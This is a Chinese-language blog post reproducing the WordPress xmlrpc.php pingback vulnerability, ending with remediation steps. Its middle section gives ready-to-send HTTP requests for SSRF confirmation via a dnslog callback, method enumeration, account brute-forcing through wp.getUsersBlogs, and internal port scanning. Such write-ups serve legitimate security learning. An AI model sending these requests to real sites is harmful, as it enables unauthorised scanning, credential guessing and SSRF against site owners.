WordPress xmlrpc.php漏洞复现
xiaochuhe. 人气:0一、漏洞介绍
通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery,SSRF)和远程端口扫描。
二、漏洞影响
WordPress 版本< 3.5.1
造成的影响
1、可以对业务内网进行探测。
2、攻击运行在内网或本地的应用程序(比如溢出攻击)。
3、利用file协议读取本地文件等
三、漏洞复现
第一步:直接访问这个文件,初步判断
第二步:发现POC验证数据包
POST /xmlrpc.php HTTP/1.1 Host: www.目标.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 310 <?xml version="1.0" encoding="iso-8859-1"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://g8o53x.dnslog.cn/</string></value></param> <param><value><string>http://www.目标.com/?p=1</string></value></param> </params> </methodCall>
发送数据包
验证成功 !
四、深入利用
(一)查看系统允许的方法
POST /wordpress/xmlrpc.php HTTP/1.1 Host: www.example.com Content-Length: 99 ...... <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>
(二)账号爆破
POST /wordpress/xmlrpc.php HTTP/1.1 Host: www.example.com Content-Length: 99 ...... <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>admin</value></param> <param><value>password</value></param> </params> </methodCall>
(三)通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery,SSRF)和远程端口扫描。
POST /wordpress/xmlrpc.php HTTP/1.1 Host: www.example.com Content-Length: 99 ....... <methodCall> <methodName>pingback.ping</methodName> <params><param> <value><string>要探测的ip和端口:http://127.0.0.1:80</string></value> </param><param><value><string>要探测的URL</string> </value></param></params> </methodCall>
五、漏洞修复
(一)通过APACHE的.htaccess屏蔽xmlrpc.php文件的访问。配置代码如下:
# protect xmlrpc <Files "xmlrpc.php"> Order Allow,Deny Deny from all </Files>
(二)删除根目录下的xmlrpc.php。
加载全部内容